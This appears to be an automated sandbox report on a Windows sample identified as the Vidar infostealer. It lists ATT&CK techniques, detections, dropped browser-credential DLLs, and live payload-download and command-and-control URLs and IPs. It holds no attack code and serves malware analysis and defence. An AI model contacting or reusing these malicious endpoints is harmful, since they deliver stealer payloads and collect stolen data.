Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	45%	ReversingLabs	Win32.Trojan.Vidar
C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	45%	ReversingLabs	Win32.Trojan.Vidar

Source	Detection	Scanner	Label
http://185.215.113.206/X3&	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeGFPI	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403R	100%	Avira URL Cloud	malware
http://www.microsoft.cX	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpX#G	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php01	100%	Avira URL Cloud	malware
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17318404033	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpu&	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll_h	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe6/steam/random.exe2001	100%	Avira URL Cloud	phishing
http://185.215.113.206ina	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe61395	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exelL	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exeuFbI	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe1395d7	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpS	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeAFVI	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe61395d;	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	142.250.185.206	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.196	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.161	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
peepburry828.sbs	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
processhol.sbs	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939428046&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939427663&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://c.msn.com/c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939423839&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://185.215.113.16/steam/random.exeGFPI	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/0	000003.log9.10.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403R	93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.10.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll_h	file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://curl.se/docs/hsts.html	93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.instagram.com	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://www.microsoft.cX	ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17318404033	93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.messenger.com	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://www.deezer.com/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://web.telegram.org/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
http://185.215.113.206/X3&	file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://vibe.naver.com/today	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://cook-rain.sbs/	ec3f41365f.exe, 0000001D.00000003.2693315593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.16/steam/random.exe6/steam/random.exe2001	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpX#G	file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	false		high
https://assets.msn.com	24637bc5-25da-4aa4-8c1e-22c7ddf97aee.tmp.11.dr, 86d5c4f1-9280-4bbb-b573-d40043df092b.tmp.11.dr	false		high
https://curl.se/docs/alt-svc.html	93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php01	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ace-snapper-privately.ngrok-free.app/test/testFailed	93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpu&	file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000002.1971911625.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.16/steam/random.exeuFbI	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/steam/random.exe61395	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://185.215.113.206ina	file.exe, 00000000.00000002.1971911625.0000000000BE5000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpE	file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DHIJDHIDBGHJKECBFIID.0.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001A.00000002.2698948554.000000000170D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://y.music.163.com/m/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.16/luma/random.exelL	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bard.google.com/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe1395d7	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://html4/loose.dtd	93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpS	skotes.exe, 0000001A.00000002.2698948554.00000000016F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.whatsapp.com	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://185.215.113.16/steam/random.exeAFVI	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://m.kugou.com/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://www.office.com	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high
http://185.215.113.16/steam/random.exe61395d;	skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/edge/ntp	000003.log9.10.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
108.156.211.19	unknown	United States	16509	AMAZON-02US	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
13.89.179.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
23.222.241.142	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.222.241.136	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.198.7.171	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.160	unknown	United States	16625	AKAMAI-ASUS	false
23.221.22.215	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.8
192.168.2.9
127.0.0.1
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557721
Start date and time:	2024-11-18 15:15:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/304@29/32
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 142.250.184.238, 64.233.184.84, 34.104.35.123, 142.250.184.195, 199.232.214.172, 216.58.212.138, 172.217.16.202, 142.250.185.106, 142.250.184.234, 142.250.185.138, 142.250.186.106, 142.250.185.74, 172.217.23.106, 216.58.212.170, 142.250.185.170, 216.58.206.74, 142.250.186.74, 142.250.74.202, 142.250.186.138, 172.217.18.10, 142.250.185.202, 142.250.186.170, 142.250.185.234, 216.58.206.42, 142.250.181.234, 192.229.221.95, 13.107.42.16, 204.79.197.203, 142.250.186.174, 13.107.6.158, 13.107.21.239, 204.79.197.239, 51.137.3.145, 20.191.45.158, 2.19.126.145, 2.19.126.152, 2.23.209.158, 2.23.209.161, 2.23.209.156, 2.23.209.160, 2.23.209.154, 2.23.209.144, 2.23.209.133, 2.23.209.140, 2.23.209.135, 88.221.110.195, 88.221.110.179, 2.23.209.183, 2.23.209.179, 2.23.209.178, 2.23.209.181, 2.23.209.175, 2.23.209.177, 2.23.209.176, 2.23.209.185, 2.23.209.182, 2.23.209.8, 2.23.209.12, 2.23.209.17, 2.23.209.10, 2.23.209.13, 2.23.209.7, 2.23.209.16, 2.23.209.18, 2.23.2
